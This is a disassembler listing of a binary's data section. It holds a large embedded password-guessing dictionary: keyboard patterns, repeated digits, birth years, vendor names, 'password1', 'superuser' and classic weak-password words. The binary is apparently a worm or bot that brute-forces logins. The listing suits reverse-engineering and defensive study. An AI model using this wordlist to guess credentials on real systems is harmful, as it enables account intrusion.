aLll db 'lll',0 ; DATA XREF: .nsp0:0042E590o
aLl db 'll',0 ; DATA XREF: .nsp0:0042E58Co
align 4
asc_42EA4C: ; DATA XREF: .nsp0:0042E588o
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042E584o
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042E580o
align 10h
aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042E57Co
align 4
aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042E578o
aKk db 'kk',0 ; DATA XREF: .nsp0:0042E574o
align 10h
aK: ; DATA XREF: .nsp0:0042E570o
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042E56Co
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042E568o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042E564o
align 4
aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042E560o
aJj db 'jj',0 ; DATA XREF: .nsp0:0042E55Co
align 4
aJ:
unicode 0, <j>,0
aIiiiii db 'iiiiii',0
align 10h
aIiiii db 'iiiii',0
align 4
aIiii db 'iiii',0
align 10h
aIii db 'iii',0 ; DATA XREF: .nsp0:0042E548o
aIi db 'ii',0
align 4
aI_0:
unicode 0, <i>,0
aHhhhhh db 'hhhhhh',0
align 4
aHhhhh db 'hhhhh',0
align 4
aHhhh db 'hhhh',0 ; DATA XREF: .nsp0:0042E534o
align 4
aHhh db 'hhh',0
aHh db 'hh',0
align 4
unicode 0, <h>,0
aGggggg db 'gggggg',0 ; DATA XREF: .nsp0:0042E524o
align 4
aGgggg db 'ggggg',0
align 10h
aGggg db 'gggg',0
align 4
aGgg db 'ggg',0
aGg db 'gg',0
align 10h
aG:
unicode 0, <g>,0
aEeeeee db 'eeeeee',0 ; DATA XREF: .nsp0:0042E50Co
align 4
aEeeee db 'eeeee',0
align 4
aEeee db 'eeee',0 ; DATA XREF: .nsp0:0042E504o
align 4
aEee db 'eee',0 ; DATA XREF: .nsp0:0042E500o
aEe db 'ee',0
align 4
aE:
unicode 0, <e>,0
aFffff db 'fffff',0
align 10h
aFfff db 'ffff',0
align 4
aFff db 'fff',0
aFf db 'ff',0
align 10h
aF:
unicode 0, <f>,0
aDdddd db 'ddddd',0 ; DATA XREF: .nsp0:0042E4E0o
align 4
aDddd db 'dddd',0 ; DATA XREF: .nsp0:0042E4DCo
align 4
aDdd db 'ddd',0
aDd_2 db 'dd',0 ; DATA XREF: .nsp0:0042E4D4o
align 4
aD:
unicode 0, <d>,0
aCcccccccc db 'ccccccccc',0
align 4
aCccccccc db 'cccccccc',0 ; DATA XREF: .nsp0:0042E4C8o
align 4
aCcccccc db 'ccccccc',0
aCccccc db 'cccccc',0
align 4
aCcccc db 'ccccc',0
align 10h
aCccc_0 db 'cccc',0
align 4
aCcc db 'ccc',0
aCc db 'cc',0
align 10h
aC_1:
unicode 0, <c>,0
aBbbbbbbbb db 'bbbbbbbbb',0
align 10h
aBbbbbbbb db 'bbbbbbbb',0
align 4
aBbbbbbb db 'bbbbbbb',0
aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0042E49Co
align 4
aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0042E498o
align 4
aBbbb db 'bbbb',0
align 4
aBbb db 'bbb',0
aBb db 'bb',0 ; DATA XREF: .nsp0:0042E48Co
align 4
aB_0: ; DATA XREF: .nsp0:0042E488o
unicode 0, <b>,0
aRfv db 'rfv',0 ; DATA XREF: .nsp0:0042E484o
aEdc db 'edc',0 ; DATA XREF: .nsp0:0042E480o
aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042E47Co
aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042E478o
aAsdfghjkl db 'asdfghjkl',0
align 4
aAsdfghjk db 'asdfghjk',0
align 10h
aAsdfghj db 'asdfghj',0
aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042E468o
align 10h
aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042E464o
align 4
aAs db 'as',0 ; DATA XREF: .nsp0:0042E458o
align 4
aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042E454o
aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042E450o
align 4
aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042E44Co
align 4
aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042E444o
aZx db 'zx',0 ; DATA XREF: .nsp0:0042E440o
align 4
aZ: ; DATA XREF: .nsp0:0042E43Co
; .nsp0:0042E6A8o
unicode 0, <z>,0
aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042E438o
aToyota_0 db 'TOYOTA',0 ; DATA XREF: .nsp0:0042E400o
align 10h
aKor db 'KOR',0 ; DATA XREF: .nsp0:0042E3FCo
aKor_0 db 'kor',0 ; DATA XREF: .nsp0:0042E3F4o
aChi db 'chi',0 ; DATA XREF: .nsp0:0042E3F0o
aChi_0 db 'CHI',0 ; DATA XREF: .nsp0:0042E3ECo
aSystem db 'system',0 ; DATA XREF: .nsp0:0042E3E4o
; .nsp0:0042E728o
align 4
aServices db 'services',0 ; DATA XREF: .nsp0:0042E3E0o
align 4
aServers db 'servers',0 ; DATA XREF: .nsp0:0042E3DCo
aServer_0 db 'server',0 ; DATA XREF: .nsp0:0042E3D4o
align 4
aQwertyuiop db 'qwertyuiop',0 ; DATA XREF: .nsp0:0042E3CCo
align 10h
aQwertyuio db 'qwertyuio',0 ; DATA XREF: .nsp0:0042E3C8o
align 4
aQwertyui db 'qwertyui',0 ; DATA XREF: .nsp0:0042E3C4o
align 4
aQwertyu db 'qwertyu',0 ; DATA XREF: .nsp0:0042E3C0o
aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042E3B0o
aQw db 'qw',0 ; DATA XREF: .nsp0:0042E3ACo
align 4
aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042E3A8o
align 4
aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042E3A4o
align 10h
aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042E3A0o
align 4
aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042E39Co
align 4
aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042E398o
aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042E394o
align 4
aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042E390o
align 10h
aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042E38Co
align 4
aAa db 'aa',0 ; DATA XREF: .nsp0:0042E384o
align 4
aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042E378o
align 4
aSex db 'SEX',0 ; DATA XREF: .nsp0:0042E374o
aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042E370o
align 4
aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042E36Co
align 4
aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042E368o
align 4
aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042E364o
align 10h
aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042E360o
align 4
aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042E35Co
aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042E358o
aSony db 'sony',0 ; DATA XREF: .nsp0:0042E354o
align 10h
a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042E350o
a4321 db '4321',0 ; DATA XREF: .nsp0:0042E344o
align 10h
a321 db '321',0 ; DATA XREF: .nsp0:0042E340o
a2006 db '2006',0 ; DATA XREF: .nsp0:0042E338o
align 4
a2005 db '2005',0 ; DATA XREF: .nsp0:0042E334o
align 4
a2004 db '2004',0 ; DATA XREF: .nsp0:0042E330o
align 4
a2001 db '2001',0 ; DATA XREF: .nsp0:0042E324o
align 4
a2000 db '2000',0 ; DATA XREF: .nsp0:0042E320o
align 4
a1999 db '1999',0 ; DATA XREF: .nsp0:0042E31Co
align 4
a1998 db '1998',0 ; DATA XREF: .nsp0:0042E318o
align 4
a1997 db '1997',0 ; DATA XREF: .nsp0:0042E314o
align 4
a1996 db '1996',0 ; DATA XREF: .nsp0:0042E310o
align 4
a1995 db '1995',0 ; DATA XREF: .nsp0:0042E30Co
align 4
a1994 db '1994',0 ; DATA XREF: .nsp0:0042E308o
align 4
a1993 db '1993',0 ; DATA XREF: .nsp0:0042E304o
align 4
a1992 db '1992',0 ; DATA XREF: .nsp0:0042E300o
align 4
a1991 db '1991',0 ; DATA XREF: .nsp0:0042E2FCo
align 4
a1990 db '1990',0 ; DATA XREF: .nsp0:0042E2F8o
align 4
a1989 db '1989',0 ; DATA XREF: .nsp0:0042E2F4o
align 4
a1988 db '1988',0 ; DATA XREF: .nsp0:0042E2F0o
align 4
a1987 db '1987',0 ; DATA XREF: .nsp0:0042E2ECo
align 4
a1986 db '1986',0 ; DATA XREF: .nsp0:0042E2E8o
align 4
a1985 db '1985',0 ; DATA XREF: .nsp0:0042E2E4o
align 4
a1984 db '1984',0 ; DATA XREF: .nsp0:0042E2E0o
align 4
a1983 db '1983',0 ; DATA XREF: .nsp0:0042E2DCo
align 4
a1982 db '1982',0 ; DATA XREF: .nsp0:0042E2D8o
align 4
a1981 db '1981',0 ; DATA XREF: .nsp0:0042E2D4o
align 4
a1980 db '1980',0 ; DATA XREF: .nsp0:0042E2D0o
align 4
a1979 db '1979',0 ; DATA XREF: .nsp0:0042E2CCo
align 4
a1978 db '1978',0 ; DATA XREF: .nsp0:0042E2C8o
align 4
a1977 db '1977',0 ; DATA XREF: .nsp0:0042E2C4o
align 4
a1976 db '1976',0 ; DATA XREF: .nsp0:0042E2C0o
align 4
a1975 db '1975',0 ; DATA XREF: .nsp0:0042E2BCo
align 4
a1974 db '1974',0 ; DATA XREF: .nsp0:0042E2B8o
align 4
a1973 db '1973',0 ; DATA XREF: .nsp0:0042E2B4o
align 4
a1972 db '1972',0 ; DATA XREF: .nsp0:0042E2B0o
align 4
a1971 db '1971',0 ; DATA XREF: .nsp0:0042E2ACo
align 4
a1970 db '1970',0 ; DATA XREF: .nsp0:0042E2A8o
align 4
a1969 db '1969',0 ; DATA XREF: .nsp0:0042E2A4o
align 4
a1968 db '1968',0 ; DATA XREF: .nsp0:0042E2A0o
align 4
a1967 db '1967',0 ; DATA XREF: .nsp0:0042E29Co
align 4
a1966 db '1966',0 ; DATA XREF: .nsp0:0042E298o
align 4
a1965 db '1965',0 ; DATA XREF: .nsp0:0042E294o
align 4
a1964 db '1964',0 ; DATA XREF: .nsp0:0042E290o
align 4
a1963 db '1963',0 ; DATA XREF: .nsp0:0042E28Co
align 4
a1962 db '1962',0 ; DATA XREF: .nsp0:0042E288o
align 4
a1961 db '1961',0 ; DATA XREF: .nsp0:0042E284o
align 4
a1960 db '1960',0 ; DATA XREF: .nsp0:0042E280o
align 4
a1959 db '1959',0 ; DATA XREF: .nsp0:0042E27Co
align 4
a1958 db '1958',0 ; DATA XREF: .nsp0:0042E278o
align 4
a1957 db '1957',0 ; DATA XREF: .nsp0:0042E274o
align 4
a1956 db '1956',0 ; DATA XREF: .nsp0:0042E270o
align 4
a1955 db '1955',0 ; DATA XREF: .nsp0:0042E26Co
align 4
a1954 db '1954',0 ; DATA XREF: .nsp0:0042E268o
align 4
a1953 db '1953',0 ; DATA XREF: .nsp0:0042E264o
align 4
a1952 db '1952',0 ; DATA XREF: .nsp0:0042E260o
align 4
a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042E25Co
a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042E258o
a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042E254o
a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042E240o
a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042E23Co
align 4
a12asd db '12asd',0 ; DATA XREF: .nsp0:0042E238o
align 4
a12abc db '12abc',0 ; DATA XREF: .nsp0:0042E234o
align 4
a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042E230o
align 4
a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042E22Co
align 4
a1asd db '1asd',0 ; DATA XREF: .nsp0:0042E228o
align 4
a1abc db '1abc',0 ; DATA XREF: .nsp0:0042E224o
align 4
a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042E220o
align 4
a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042E21Co
align 4
a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042E218o
align 4
a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042E214o
a123467 db '123467',0 ; DATA XREF: .nsp0:0042E210o
align 4
a12346 db '12346',0 ; DATA XREF: .nsp0:0042E20Co
align 4
a121 db '121',0 ; DATA XREF: .nsp0:0042E1E4o
a1020 db '1020',0 ; DATA XREF: .nsp0:0042E1DCo
align 4
a0258 db '0258',0 ; DATA XREF: .nsp0:0042E1D8o
align 10h
a8520 db '8520',0 ; DATA XREF: .nsp0:0042E1D4o
align 4
a987 db '987',0 ; DATA XREF: .nsp0:0042E1D0o
a789 db '789',0 ; DATA XREF: .nsp0:0042E1CCo
a654 db '654',0 ; DATA XREF: .nsp0:0042E1C8o
a456 db '456',0 ; DATA XREF: .nsp0:0042E1C4o
a1122 db '1122',0 ; DATA XREF: .nsp0:0042E1C0o
align 10h
a0147 db '0147',0 ; DATA XREF: .nsp0:0042E1BCo
align 4
a7410 db '7410',0 ; DATA XREF: .nsp0:0042E1B8o
align 10h
a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042E1B0o
align 4
a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042E1ACo
align 4
a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042E1A8o
align 4
a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042E1A4o
a999999 db '999999',0 ; DATA XREF: .nsp0:0042E1A0o
align 4
a99999 db '99999',0 ; DATA XREF: .nsp0:0042E19Co
align 4
a9999 db '9999',0 ; DATA XREF: .nsp0:0042E198o
align 4
a999 db '999',0 ; DATA XREF: .nsp0:0042E194o
a99 db '99',0 ; DATA XREF: .nsp0:0042E190o
align 4
a9: ; DATA XREF: .nsp0:0042E18Co
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042E188o
align 4
a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042E184o
align 4
a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042E17Co
a888888 db '888888',0 ; DATA XREF: .nsp0:0042E178o
align 4
a88888 db '88888',0 ; DATA XREF: .nsp0:0042E174o
align 10h
a8888 db '8888',0 ; DATA XREF: .nsp0:0042E170o
align 4
a888 db '888',0 ; DATA XREF: .nsp0:0042E16Co
a88 db '88',0 ; DATA XREF: .nsp0:0042E168o
align 10h
a8: ; DATA XREF: .nsp0:0042E164o
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042E160o
align 10h
a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042E15Co
align 4
a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042E158o
align 4
a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042E154o
a777777 db '777777',0 ; DATA XREF: .nsp0:0042E150o
align 4
a77777 db '77777',0 ; DATA XREF: .nsp0:0042E14Co
align 10h
a7777 db '7777',0 ; DATA XREF: .nsp0:0042E148o
align 4
a777 db '777',0 ; DATA XREF: .nsp0:0042E144o
a77 db '77',0 ; DATA XREF: .nsp0:0042E140o
align 10h
a7: ; DATA XREF: .nsp0:0042E13Co
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042E138o
align 10h
a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042E134o
align 4
a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042E130o
align 4
a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042E12Co
a666666 db '666666',0 ; DATA XREF: .nsp0:0042E128o
align 4
a66666 db '66666',0 ; DATA XREF: .nsp0:0042E124o
align 10h
a6666 db '6666',0 ; DATA XREF: .nsp0:0042E120o
align 4
a666 db '666',0 ; DATA XREF: .nsp0:0042E11Co
a66 db '66',0 ; DATA XREF: .nsp0:0042E118o
align 10h
a6: ; DATA XREF: .nsp0:0042E114o
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042E110o
align 10h
a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042E10Co
align 4
a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042E108o
align 4
a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042E104o
a555555 db '555555',0 ; DATA XREF: .nsp0:0042E100o
align 4
a55555 db '55555',0 ; DATA XREF: .nsp0:0042E0FCo
align 10h
a5555 db '5555',0 ; DATA XREF: .nsp0:0042E0F8o
align 4
a555 db '555',0 ; DATA XREF: .nsp0:0042E0F4o
a55 db '55',0 ; DATA XREF: .nsp0:0042E0F0o
align 10h
a5: ; DATA XREF: .nsp0:0042E0ECo
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042E0E8o
align 10h
a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042E0E4o
align 4
a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042E0E0o
align 4
a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042E0DCo
a444444 db '444444',0 ; DATA XREF: .nsp0:0042E0D8o
align 4
a44444 db '44444',0 ; DATA XREF: .nsp0:0042E0D4o
align 10h
a4444 db '4444',0 ; DATA XREF: .nsp0:0042E0D0o
align 4
a444 db '444',0 ; DATA XREF: .nsp0:0042E0CCo
a44 db '44',0 ; DATA XREF: .nsp0:0042E0C8o
align 10h
a4: ; DATA XREF: .nsp0:0042E0C4o
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042E0C0o
align 10h
a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042E0BCo
align 4
a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042E0B8o
align 4
a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042E0B4o
a333333 db '333333',0 ; DATA XREF: .nsp0:0042E0B0o
align 4
a33333 db '33333',0 ; DATA XREF: .nsp0:0042E0ACo
align 10h
a3333 db '3333',0 ; DATA XREF: .nsp0:0042E0A8o
align 4
a333 db '333',0 ; DATA XREF: .nsp0:0042E0A4o
a33 db '33',0 ; DATA XREF: .nsp0:0042E0A0o
align 10h
a3: ; DATA XREF: .nsp0:0042E09Co
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042E098o
align 10h
a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042E094o
align 4
a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042E090o
align 4
a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042E08Co
a222222 db '222222',0 ; DATA XREF: .nsp0:0042E088o
align 4
a22222 db '22222',0 ; DATA XREF: .nsp0:0042E084o
align 10h
a2222 db '2222',0 ; DATA XREF: .nsp0:0042E080o
align 4
a222 db '222',0 ; DATA XREF: .nsp0:0042E07Co
a22 db '22',0 ; DATA XREF: .nsp0:0042E078o
align 10h
a2: ; DATA XREF: .nsp0:0042E074o
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042E070o
align 10h
a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042E06Co
align 4
a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042E064o
a11111 db '11111',0 ; DATA XREF: .nsp0:0042E05Co
align 4
a1111 db '1111',0 ; DATA XREF: .nsp0:0042E058o
align 4
a11 db '11',0 ; DATA XREF: .nsp0:0042E050o
align 4
a010 db '010',0 ; DATA XREF: .nsp0:0042E040o
a009 db '009',0 ; DATA XREF: .nsp0:0042E03Co
a008 db '008',0 ; DATA XREF: .nsp0:0042E038o
a006 db '006',0 ; DATA XREF: .nsp0:0042E030o
a005 db '005',0 ; DATA XREF: sub_40CE55+215o
; .nsp0:0042E02Co
a004 db '004',0 ; DATA XREF: .nsp0:0042E028o
a003 db '003',0 ; DATA XREF: .nsp0:0042E024o
a002 db '002',0 ; DATA XREF: .nsp0:0042E020o
a001 db '001',0 ; DATA XREF: sub_40CE55+200o
; .nsp0:0042E01Co
asc_42F2CC db '*********',0 ; DATA XREF: .nsp0:0042E018o
align 4
asc_42F2D8 db '********',0 ; DATA XREF: .nsp0:0042E014o
align 4
asc_42F2E4 db '*******',0 ; DATA XREF: .nsp0:0042E010o
asc_42F2EC db '******',0 ; DATA XREF: .nsp0:0042E00Co
align 4
asc_42F2F4 db '*****',0 ; DATA XREF: .nsp0:0042E008o
align 4
asc_42F2FC db '****',0 ; DATA XREF: .nsp0:0042E004o
align 4
asc_42F304 db '***',0 ; DATA XREF: .nsp0:0042E000o
asc_42F308 db '**',0 ; DATA XREF: .nsp0:0042DFFCo
align 4
a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042DFF4o
align 4
a000000000 db '000000000',0 ; DATA XREF: .nsp0:0042DFF0o
align 4
a@ db '@!',0 ; DATA XREF: .nsp0:0042DFD0o
align 4
a@_0 db '#@!',0 ; DATA XREF: .nsp0:0042DFCCo
a@_1 db '$#@!',0 ; DATA XREF: .nsp0:0042DFC8o
align 4
a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042DFC4o
align 4
a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:0042DFC0o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:0042DFBCo
a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:0042DFB8o
align 4
asc_42F358 db '$$$',0 ; DATA XREF: .nsp0:0042DFB4o
asc_42F35C db '$$',0 ; DATA XREF: .nsp0:0042DFB0o
align 10h
asc_42F360: ; DATA XREF: .nsp0:0042DFACo
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: .nsp0:0042DFA8o
align 4
a789_0 db '789+',0 ; DATA XREF: .nsp0:0042DFA4o
align 4
a0 db '=-0',0 ; DATA XREF: .nsp0:0042DFA0o
asc_42F378 db '--++',0 ; DATA XREF: .nsp0:0042DF9Co
align 10h
asc_42F380 db '-+',0 ; DATA XREF: .nsp0:0042DF98o
align 4
asc_42F384 db '----',0 ; DATA XREF: .nsp0:0042DF94o
align 4
asc_42F38C db '--',0 ; DATA XREF: .nsp0:0042DF8Co
; .nsp0:0042DF90o
align 10h
asc_42F390: ; DATA XREF: .nsp0:0042DF88o
unicode 0, <->,0
asc_42F394 db '++++',0 ; DATA XREF: .nsp0:0042DF84o
align 4
asc_42F39C db '+++',0 ; DATA XREF: .nsp0:0042DF80o
asc_42F3A0 db '++',0 ; DATA XREF: .nsp0:0042DF7Co
align 4
asc_42F3A4: ; DATA XREF: .nsp0:0042DF78o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: .nsp0:0042DF74o
align 4
a@_6: ; DATA XREF: sub_40CE55+23Ao
; .nsp0:0042DF70o
unicode 0, <@>,0
off_42F3B0 dd offset loc_40211D+4 ; DATA XREF: .nsp0:0042DF6Co
dword_42F3B4 dd 2121h ; DATA XREF: .nsp0:0042DF68o
dword_42F3B8 dd 24234021h, 2A265E25h, 0 ; DATA XREF: .nsp0:0042DF60o
dword_42F3C4 dd 24234021h, 265E25h ; DATA XREF: .nsp0:0042DF5Co
dword_42F3CC dd 24234021h, 5E25h ; DATA XREF: .nsp0:0042DF58o
dword_42F3D4 dd 24234021h, 25h ; DATA XREF: .nsp0:0042DF54o
dword_42F3DC dd 234021h ; DATA XREF: .nsp0:0042DF50o
dword_42F3E0 dd 4021h ; DATA XREF: .nsp0:0042DF4Co
dword_42F3E4 dd 21h ; DATA XREF: sub_40CE55+19Ao
; sub_40CE55+5B5Fo ...
dword_42F3E8 dd 25h ; DATA XREF: .nsp0:0042DF44o
aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0042DF40o
align 4
aZap db 'zap',0 ; DATA XREF: .nsp0:0042DF3Co
aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042DF38o
aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042DF34o
; .nsp0:0042E42Co
aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0042DF30o
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0042DF2Co
align 4
aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0042DF28o
align 4
aTty db 'tty',0 ; DATA XREF: .nsp0:0042DF24o
aTopography db 'topography',0 ; DATA XREF: .nsp0:0042DF20o
align 4
aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0042DF1Co
align 10h
aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0042DF18o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0042DF14o
align 4
aSys db 'sys',0 ; DATA XREF: .nsp0:0042DF10o
aSupported db 'supported',0 ; DATA XREF: .nsp0:0042DF0Co
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0042DF08o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0042DF04o
align 10h
aSun db 'sun',0 ; DATA XREF: .nsp0:0042DF00o
aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0042DEFCo
align 10h
aStratford db 'stratford',0 ; DATA XREF: .nsp0:0042DEF8o
align 4
aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0042DEF4o
align 4
aSignature db 'signature',0 ; DATA XREF: .nsp0:0042DEF0o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0042DEECo
align 10h
aSal db 'sal',0 ; DATA XREF: .nsp0:0042DEE8o
aRochester db 'rochester',0 ; DATA XREF: .nsp0:0042DEE4o
align 10h
aRje db 'rje',0 ; DATA XREF: .nsp0:0042DEE0o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0042DEDCo
align 4
aPub db 'pub',0
aProfessor db 'professor',0
align 4
aPrinceton db 'princeton',0
align 10h
aPondering db 'pondering',0
align 4
aPolynomial db 'polynomial',0
align 4
aPersimmon db 'persimmon',0
align 4
aPercolate db 'percolate',0
align 10h
aPam db 'pam',0
aPad db 'pad',0
aOceanography db 'oceanography',0
align 4
aNutrition db 'nutrition',0
align 4
aNew db 'new',0
aNet db 'net',0
aMit db 'mit',0
aMgr db 'mgr',0
aMacintosh db 'macintosh',0
align 10h
aLiz db 'liz',0
aLee db 'lee',0
aLamination db 'lamination',0
align 4
aKim db 'kim',0
aJoy db 'joy',0
aJen db 'jen',0
aInnocuous db 'innocuous',0
align 4
aImbroglio db 'imbroglio',0
align 4
aIbm db 'ibm',0
aHappening db 'happening',0
align 4
aHal db 'hal',0
aGnu db 'gnu',0
aFun db 'fun',0
aForesight db 'foresight',0
align 10h
aFoolproof db 'foolproof',0
align 4
aExtension db 'extension',0
align 4
aEstablish db 'establish',0
align 4
aEnterprise db 'enterprise',0
align 10h
aElizabeth db 'elizabeth',0
align 4
aEiderdown db 'eiderdown',0
align 4
aEdinburgh db 'edinburgh',0
align 4
aDos db 'dos',0
aDog db 'dog',0
aDiscovery db 'discovery',0
align 4
aDesperate db 'desperate',0
align 4
aDeb db 'deb',0
aCornelius db 'cornelius',0
align 4
aCommrades db 'commrades',0
align 10h
aChristine db 'christine',0
align 4
aChristina db 'christina',0
align 4
aChemistry db 'chemistry',0
align 4
aCatherine db 'catherine',0
align 10h
aCat db 'cat',0
aCampanile db 'campanile',0
align 10h
aCad db 'cad',0
aBsd db 'bsd',0
aBob db 'bob',0
aBicameral db 'bicameral',0
align 4
aBeethoven db 'beethoven',0
align 4
aAtmosphere db 'atmosphere',0
align 10h
aAsm db 'asm',0
aAsd db 'asd',0 ; DATA XREF: .nsp0:0042E45Co
aAnthropogenic db 'anthropogenic',0
align 4
aAnn db 'ann',0
aAndromache db 'andromache',0
align 4
aAmy db 'amy',0
aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042DDD9o
align 4
aAma db 'ama',0
aAlf db 'alf',0
aAlbatross db 'albatross',0
align 4
aAda db 'ada',0 ; DATA XREF: .nsp0:0042DDC9o
aH4x0ring db 'h4x0ring',0
align 4
aH4x0r1ng db 'h4x0r1ng',0
align 4
aH4x1ng db 'h4x1ng',0
align 10h
aHaxing db 'haxing',0
align 4
aHax db 'hax',0
aWh0re db 'wh0re',0
align 4
aHo db 'ho',0
align 4
aWh0r3 db 'wh0r3',0
align 10h
aWindoze95 db 'windoze95',0
align 4
aWindoze98 db 'windoze98',0
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:loc_42DD9Do
align 4
aWindoze2k db 'windoze2k',0
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042DD95o
align 4
aWindows95 db 'windows95',0
align 4
aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042DD8Do
align 4
aWindowsme db 'windowsME',0
align 10h
aWindows2k db 'windows2k',0
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042DD84o
align 4
aMs db 'MS',0 ; DATA XREF: .nsp0:0042DD80o
align 4
aM_0 db 'M$',0 ; DATA XREF: .nsp0:0042DD7Co
align 10h
aBilly db 'billy',0 ; DATA XREF: .nsp0:0042DD78o
align 4
aWindose db 'windose',0 ; DATA XREF: .nsp0:0042DD74o
aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042DD70o
aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042DD6Co
